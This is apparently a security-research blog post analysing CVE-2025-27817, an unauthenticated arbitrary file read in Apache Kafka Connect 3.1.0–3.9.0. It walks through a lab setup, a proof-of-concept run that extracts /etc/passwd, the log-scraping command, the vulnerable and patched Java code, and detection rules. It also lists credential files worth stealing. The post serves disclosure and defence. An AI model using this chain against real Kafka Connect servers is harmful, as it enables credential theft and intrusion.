CVE-2025-27817: Apache Kafka Connect Arbitrary File Read

OWASP ASVS: A Framework for Building Secure Applications
OWASP ASVS: A Framework for Building Secure Applications
June 1, 2026

June 5, 2026

Apache Kafka Connect, the integration framework used by thousands of organisations to stream data between systems, harbours a vulnerability that allows an unauthenticated attacker to read arbitrary files from the server. CVE-2025-27817 exploits a gap in URI scheme validation within the SASL OAuthBearer authentication handler: by injecting a file:// URI through the connector configuration REST API, an attacker forces the Kafka Connect worker to read a local file and leak its full contents through a JWT parsing error message. No plugins, no credentials, no user interaction required. 

What is Apache Kafka Connect?

Apache Kafka Connect is a scalable, fault-tolerant framework for streaming data between Apache Kafka and external systems such as databases, key-value stores, search indexes, and file systems. It runs as a distributed service with a cluster of workers coordinated through the Kafka broker itself. Connectors (source or sink) are configured and managed through a REST API that listens on port 8083 by default. Kafka Connect ships with several built-in connectors, including MirrorHeartbeatConnector, which is part of the MirrorMaker 2 replication suite. In most deployments, the REST API is unauthenticated, making it a high-value target for attackers who can reach the network.

Attack Flow

attack flow of cve-2025-27817
Attack chain — POST /connectors to arbitrary file read

CVE-2025-27817 is an arbitrary file read vulnerability caused by the intersection of two design flaws in Apache Kafka Connect:

  1. Missing URI scheme validation on the SASL OAuthBearer token endpoint URL. The configuration property sasl.oauthbearer.token.endpoint.url is intended to point to an OAuth2 token endpoint over HTTP or HTTPS. However, versions 3.1.0 through 3.9.0 perform no validation on the URI scheme, meaning a file:// URI is silently accepted.
  2. File contents leaked through error messages. When a file:// URI is provided, the OAuthBearerLoginCallbackHandler reads the entire file from disk and passes its contents to the JWT parser. The parser fails because the file is not a valid JWT token and throws an exception containing the full file contents:
  • Malformed JWT provided (<ENTIRE FILE CONTENTS>); expected three sections (header, payload, signature) separated by ‘.’

This error message propagates into the Kafka Connect worker logs, exposing the contents of any file readable by the Kafka process. When combined with the unauthenticated REST API, an external attacker can read sensitive files such as `/etc/`passwd, `/etc/`shadow (if Kafka runs as root), database credentials, private keys, and Kafka broker bootstrap credentials.

Building the Lab

To reproduce the vulnerability we deploy Apache Kafka 3.8.0 in KRaft mode (no ZooKeeper dependency) alongside a Kafka Connect worker that has connector.client.config.override.policy=All enabled – the configuration required for producer.override.* injection to be accepted.

docker-compose.yml

version: '3.8'
services:
  kafka:
    image: apache/kafka:3.8.0
    container_name: kafka-cve-2025-27817
    environment:
      KAFKA_NODE_ID: 1
      KAFKA_PROCESS_ROLES: broker,controller
      KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,CONTROLLER://0.0.0.0:9093
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092
      KAFKA_CONTROLLER_QUORUM_VOTERS: 1@kafka:9093
      KAFKA_CONTROLLER_LISTENER_NAMES: CONTROLLER
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: CONTROLLER:PLAINTEXT,PLAINTEXT:PLAINTEXT
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
      KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1
      KAFKA_LOG_DIRS: /tmp/kraft-combined-logs
      CLUSTER_ID: "MkU3OEVBNTcwNTJENDM2Qk"
    ports:
      - "9092:9092"

  kafka-connect:
    image: apache/kafka:3.8.0
    container_name: kafka-connect-cve-2025-27817
    depends_on:
      - kafka
    command: >
      /opt/kafka/bin/connect-distributed.sh /opt/kafka/config/connect-distributed.properties
    environment:
      KAFKA_CONNECT_BOOTSTRAP_SERVERS: kafka:9092
      KAFKA_CONNECT_GROUP_ID: connect-cluster
      KAFKA_CONNECT_CONFIG_STORAGE_TOPIC: connect-configs
      KAFKA_CONNECT_OFFSET_STORAGE_TOPIC: connect-offsets
      KAFKA_CONNECT_STATUS_STORAGE_TOPIC: connect-status
      KAFKA_CONNECT_CONFIG_STORAGE_REPLICATION_FACTOR: 1
      KAFKA_CONNECT_OFFSET_STORAGE_REPLICATION_FACTOR: 1
      KAFKA_CONNECT_STATUS_STORAGE_REPLICATION_FACTOR: 1
      KAFKA_CONNECT_KEY_CONVERTER: org.apache.kafka.connect.json.JsonConverter
      KAFKA_CONNECT_VALUE_CONVERTER: org.apache.kafka.connect.json.JsonConverter
      KAFKA_CONNECT_REST_PORT: 8083
      KAFKA_CONNECT_CONNECTOR_CLIENT_CONFIG_OVERRIDE_POLICY: All
    ports:
      - "8083:8083"

Critical configuration detail: KAFKA_CONNECT_CONNECTOR_CLIENT_CONFIG_OVERRIDE_POLICY: All is what allows producer.override.* to be accepted in connector configs. In many production deployments this is set to All to support per-connector security configurations – making the issue realistic, not contrived.

Start the Lab

cd CVE-2025-27817/lab
docker compose up -d

# Wait ~30 seconds for Kafka + Connect to come up, then verify
curl -s http://localhost:8083/ | jq .
# {
#   "version": "3.8.0",
#   "commit": "771b9576b00ecf39",
#   "kafka_cluster_id": "MkU3OEVBNTcwNTJENDM2Qk"
# }

A version value in the range 3.1.0 – 3.9.0 confirms the lab is vulnerable.

cve-2025-27817 vulnerability check
Vulnerability check — Kafka Connect 3.8.0 on unauthenticated :8083

PoC (Proof of Concept)

The PoC script exploit.py automates the full chain: reconnaissance, malicious connector deployment, log scraping for the leaked file contents, and cleanup.

Reconnaissance

Reconnaissance

If the response shows version 3.1.0 through 3.9.0, the target is vulnerable.

Run the Exploit

cd CVE-2025-27817/exploit

python3 exploit.py -t http://localhost:8083 -f /etc/hostname

Expected output:

╔═══════════════════════════════════════════════════════════╗
║   CVE-2025-27817 - Kafka Connect File Read PoC          ║
║   Apache Kafka 3.1.0 - 3.9.0                            ║
╚═══════════════════════════════════════════════════════════╝

Target: http://localhost:8083
File: /etc/hostname
Bootstrap Servers: kafka:29092
Container: kafka-connect

[*] Checking if the target is accessible...
[+] Target is accessible!
[+] Version: 3.8.0
[!] Version appears VULNERABLE to CVE-2025-27817
[*] Step 1: Creating a malicious connector...
[+] Connector created successfully!
[*] Waiting for the connector to initialize and trigger authentication...
[*] Step 2: Extracting file contents from Docker logs...
[+] SUCCESS! File contents extracted!

============================================================
kafka-connect
============================================================

[*] Step 3: Cleaning up - deleting connector...
[+] Connector deleted successfully!

[+] EXPLOITATION SUCCESSFUL!
exploit code cve-2025-27817
Exploit code — one curl POST and a log-scrape one-liner
exploit execution cve-2025-27817
Exploit execution — malicious connector deployed, log-scraped, deleted

Read `/etc/`passwd

The script returns the full contents of `/etc/`passwd extracted from the Connect worker’s error log:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...
appuser:x:1000:1000:Linux User,,,:/home/appuser:/bin/bash
cve-2025-27815 RCE proof
File-read proof — `/etc/`passwd extracted from worker logs

Behind the Scenes – The Malicious Connector Payload

The PoC sends this JSON to POST /connectors:

PoC sends this JSON to POST

After ~5 seconds the script scrapes the worker’s logs for the leaked content:

docker logs kafka-connect-cve-2025-27817 2>&1 | \
  grep -oP 'Malformed JWT provided \(\K[^)]+(?=\); expected three sections)'

Static Analysis

The vulnerability is small to describe but compounded by six independent design decisions. Removing any one of them would have prevented exploitation. The fact that all six were present in the same code path is what made the exploit one HTTP POST long.

Why a “Token Endpoint URL” Configures Anything at All

Kafka’s OAuthBearerLoginCallbackHandler was introduced in KIP-255 (“SASL/OAUTHBEARER Authentication”). The relevant config property is documented as:

sasl.oauthbearer.token.endpoint.url – The URL for the OAuth2 issuer’s token endpoint. Should support HTTPS in production.

The intended flow is: a Kafka client without long-lived credentials calls this URL, sends grant_type=client_credentials, and gets a JWT back. The handler then passes that JWT to the broker during the SASL handshake. All of this happens inside the client (producer/consumer), not the broker. That detail matters because the attack repurposes the client-side SASL machinery to read files on the server-side JVM (Kafka Connect worker) – by making Connect itself act as the SASL client when it creates a producer.

The REST API – Unauthenticated by Default, Powerful by Design

The Kafka Connect REST API is the management plane: it doesn’t just describe the worker, it can mutate it.

EndpointMethodEffect
/GETWorker version, commit, cluster id
/connector-pluginsGETAll available connector classes (including MirrorHeartbeatConnector)
/connectorsPOSTCreate a new connector with arbitrary config – the exploit’s entry
/connectors/{n}PUTReplace a connector’s config
/connectors/{n}/configPUTSame
/connectors/{n}/restartPOSTRestart – forces re-init, useful when first attempt didn’t trigger
/connectors/{n}DELETERemove – used by the PoC to clean up
/connectors/{n}/statusGETReturns task state and stack trace messages – a side channel

Default binding is 0.0.0.0:8083. There is no built-in auth, no API key, no mTLS, no RBAC. The only optional protection is listeners.https plus a reverse proxy, which most production deployments don’t configure on internal worker pools.

HttpAccessTokenRetriever.retrieve() – The Pivot

vulnerable code cve-2025-27817
Vulnerable code — URL accepts any scheme, returns body as String

The vulnerable retriever is the bridge between the configured token endpoint and the JWT parser:

// HttpAccessTokenRetriever.java (vulnerable in 3.1.0 – 3.9.0)
public class HttpAccessTokenRetriever implements AccessTokenRetriever {

    private final String tokenEndpointUrl;
    private final SSLSocketFactory sslSocketFactory;     // Only used if scheme == https
    private final String clientCredentials;
    private final long loginRetryBackoffMs;

    public HttpAccessTokenRetriever(String tokenEndpointUrl, ...) {
        this.tokenEndpointUrl = tokenEndpointUrl;        // <- stored verbatim, no check
        ...
    }

    @Override
    public String retrieve() throws IOException {
        URL url = new URL(tokenEndpointUrl);
        URLConnection conn = url.openConnection();       // <- dispatches by scheme

        // The branches below only matter for http/https. For file:// the call
        // above already returned a sun.net.www.protocol.file.FileURLConnection,
        // whose getInputStream() opens a FileInputStream and slurps the file.

        try (InputStream is = conn.getInputStream();
             ByteArrayOutputStream out = new ByteArrayOutputStream()) {
            byte[] buf = new byte[4096];
            int n;
            while ((n = is.read(buf)) > 0) out.write(buf, 0, n);
            return out.toString(StandardCharsets.UTF_8);  // <- "token" = file contents
        }
    }
}

java.net.URL has been pluggable since JDK 1.0 – it picks a URLStreamHandler based on the scheme. For file:, the handler is sun.net.www.protocol.file.Handler, whose openConnection() returns a FileURLConnection that ignores HTTP semantics and reads bytes from disk. The retriever has no way to know whether is is wrapped around a socket or a file descriptor; it just treats the byte stream as an opaque “response body.”

OAuthBearerUnsecuredJws – The Error Message That Leaks the File

When retrieve() returns the “token,” the SASL stack hands it to OAuthBearerUnsecuredJws for validation:

// OAuthBearerUnsecuredJws.java (vulnerable & current — error message is by design)
public OAuthBearerUnsecuredJws(String compactSerialization, ) {
    this.compactSerialization = compactSerialization;
    String[] splits = compactSerialization.split(“\\.”);
    if (splits.length != 3) {
        throw new OAuthBearerIllegalTokenException(
            new OAuthBearerValidationResult(false,
                “Malformed JWT provided (” + compactSerialization +
                “); expected three sections (header, payload, signature) ” +
                “separated by ‘.'”));
    }
   
}

The decisive detail is compactSerialization being inlined into the error message. A well-known anti-pattern: validators that echo their input in error messages turn every parser failure into an oracle. When the input is a file’s contents, the oracle leaks the file.

This error then propagates through the SASL handshake, gets wrapped in a SaslAuthenticationException, and is finally written to the Connect worker’s log by the task framework:

[2026-05-18 10:14:22,901] ERROR [malicious-connector|task-0]
WorkerSinkTask{id=malicious-connector-0} Task threw an uncaught and unrecoverable exception
(org.apache.kafka.connect.runtime.WorkerSinkTask:206)
org.apache.kafka.common.errors.SaslAuthenticationException:
  Malformed JWT provided (root:x:0:0:root:/root:/bin/sh
  bin:x:1:1:bin:/bin:/sbin/nologin
  daemon:x:2:2:daemon:/sbin:/sbin/nologin
  ... <full file contents> ...
  ); expected three sections (header, payload, signature) separated by '.'

The exploit scrapes that line out of docker logs with one regex.

producer.override.* – The Config Injection Lever

Kafka Connect’s WorkerConfig defines a class hierarchy for “client config override policies”:

public interface ConnectorClientConfigOverridePolicy extends Configurable, AutoCloseable {
    List<ConfigValue> validate(ConnectorClientConfigRequest request);
}

Three implementations ship with Connect:

PolicyAllowed overridesUse case
NonenoneMaximum lock-down
Principalonly sasl.jaas.configMulti-tenant clusters where each connector authenticates as a different principal
Allall producer.* / consumer.* / admin.* propertiesMaximum flexibility – and the default many distros recommend in their docs

The All policy was added precisely to support per-connector SASL configurations – the same code path the exploit abuses. The patch in 3.9.1 doesn’t change the default policy; it makes the token-endpoint URL safe regardless of which policy is in effect, which is the right scope.

MirrorHeartbeatConnector – Why This Specific Connector

MirrorHeartbeatConnector is a 200-line class from MirrorMaker 2 whose job is to emit a single “heartbeat” record on a timer. It has three properties that make it the ideal payload vehicle:

  1. Always present – shipped as part of connect-mirror.jar on every Connect installation.
  2. Tiny config surface – only requires source.cluster.alias, target.cluster.alias, and bootstrap.servers. Means the JSON payload stays small and obviously-shaped.
  3. Creates a KafkaProducer on start() – the producer construction is what reads producer.override.* and walks straight into SaslChannelBuilder.

A custom connector plugin would also work, but installing one requires write access to the plugin directory – which most attackers won’t have. MirrorHeartbeatConnector removes that requirement entirely.

The Full Call Stack – POST /connectors to FileInputStream

The exploit’s lifecycle on the Connect worker, with the actual class names:

exploit’s lifecycle on the Connect worker

Steps 12–17 are the entire vulnerability surface. Everything before is reachable by any unauthenticated REST caller; everything after is plumbing.

Adjacent Attack Surface – Other URI Properties That Almost Have the Same Bug

The same review that uncovered CVE-2025-27817 implicitly raised flags on other config properties that take a URL string. The patch only touches sasl.oauthbearer.token.endpoint.url, so it’s worth knowing which siblings are now-safe and which are not:

PropertyUsed byScheme validation in 3.9.1+?
sasl.oauthbearer.token.endpoint.urlOAuth clientFixed (allow-list http/https)
sasl.oauthbearer.jwks.endpoint.urlOAuth client (JWKS fetch)Fixed by the same PR
confluent.support.metrics.endpoint.insecure.enableConfluent telemetryNot affected (different library)
Schema Registry schema.registry.urlConnect converterStill URL-typed – separate review recommended

Detection – Signatures and Telemetry

For 3.1.0–3.9.0 deployments that cannot upgrade immediately:

  • REST audit: every successful POST /connectors with producer.override.sasl.oauthbearer.token.endpoint.url in the body is exploitation. The string file:// in any connector config is malicious.
  • Worker log: the substring Malformed JWT provided ( followed by anything other than whitespace + dot-separated base64 is exploitation. A simple Loki/ELK query: “Malformed JWT provided (” AND NOT regex(“Malformed JWT provided \\([A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\)”).
  • Connector status: GET /connectors/*/status returning FAILED tasks whose trace field contains Malformed JWT provided ( – the side channel also visible via REST.
  • Network: any outbound DNS resolution from a Connect worker to a non-OAuth-provider host shortly after a connector creation. (For variants where the attacker uses http:// to a controlled exfil server.)

Why Allow-List Beats Block-List Here Too

A tempting “minimum” fix would be: block file:. That fails for the same reason JdkMarshaller deny-lists fail (see CVE-2024-52577): jar:file:!/, netdoc:, custom URL handlers registered via java.protocol.handler.pkgs, even data: in newer JDKs would all need separate handling. The 3.9.1 patch wisely allow-lists http/https. Future-proof, one line.

Patch Diffing

The Fix

The patch introduced in Apache Kafka 3.9.1 adds URI scheme validation to the sasl.oauthbearer.token.endpoint.url configuration property. The fix rejects any URL whose scheme is not http or https, blocking file://, ftp://, jar://, and other dangerous URI schemes.

Before – Kafka 3.1.0 – 3.9.0

// HttpAccessTokenRetriever.java (vulnerable)
public HttpAccessTokenRetriever(String tokenEndpointUrl, ...) {
    this.tokenEndpointUrl = tokenEndpointUrl;
    // No URI scheme check — file://, ftp://, jar:// all accepted
}

Any string that Java’s URL class can parse is accepted, including file:`/etc/`passwd.

After – Kafka 3.9.1+

// HttpAccessTokenRetriever.java (patched)
public HttpAccessTokenRetriever(String tokenEndpointUrl, ...) {
    URI uri = URI.create(tokenEndpointUrl);
    String scheme = uri.getScheme();
    if (scheme == null || (!scheme.equalsIgnoreCase("http") && !scheme.equalsIgnoreCase("https"))) {
        throw new ConfigException(
            "The OAuth token endpoint URL must use the http or https scheme, but got: " + scheme);
    }
    this.tokenEndpointUrl = tokenEndpointUrl;
}

With this check in place, a file: `/etc/`passwd URI is rejected at connector creation time with a clear ConfigException, and the file is never read.

code patch cve-2025-27817
Patch — http/https scheme allow-list at config time

This Fix Works

  1. Validation happens at config time, not request time. The check fires when the connector is being constructed, so the malicious URI is rejected before any SASL handshake or file I/O occurs.
  2. Scheme allow-list. Only http and https are accepted – a deny-list would have been brittle against future URI schemes. The allow-list closes the door on file, ftp, jar, netdoc, and any other scheme Java’s URL stack supports.
  3. Clear failure mode. A ConfigException is raised with a descriptive message, so legitimate users misconfiguring HTTPS get a helpful error instead of silent file reads.

Conclusion

CVE-2025-27817 is a textbook layered failure on Apache Kafka Connect 3.1.0–3.9.0 missing scheme validation on sasl.oauthbearer.token.endpoint.url, an over-permissive java.net.URL API that transparently dispatches file:// to FileURLConnection, and a debug-friendly OAuthBearerUnsecuredJws error message that inlines the raw “token” — none catastrophic alone, but composed together they collapse into an unauthenticated arbitrary file read reachable through a single POST /connectors on the default-open REST port 8083. Classified as information disclosure, real impact is foothold-grade: DB passwords, API keys, Kafka JAAS creds, cloud secrets, SSH keys, and /var/run/secrets/kubernetes.io/serviceaccount/token all exfiltratable from any file the Kafka process can read — enough for lateral movement, privilege escalation, and full infrastructure compromise on a service thousands of orgs expose internally. The 3.9.1 patch lands the right fix at the right layer — allow-list http/https at config-construction time, fail fast with ConfigException — and the dura 

Discover more from SecureLayer7 - Offensive Security, API Scanner & Attack Surface Management

Subscribe now to keep reading and get access to the full archive.

Continue reading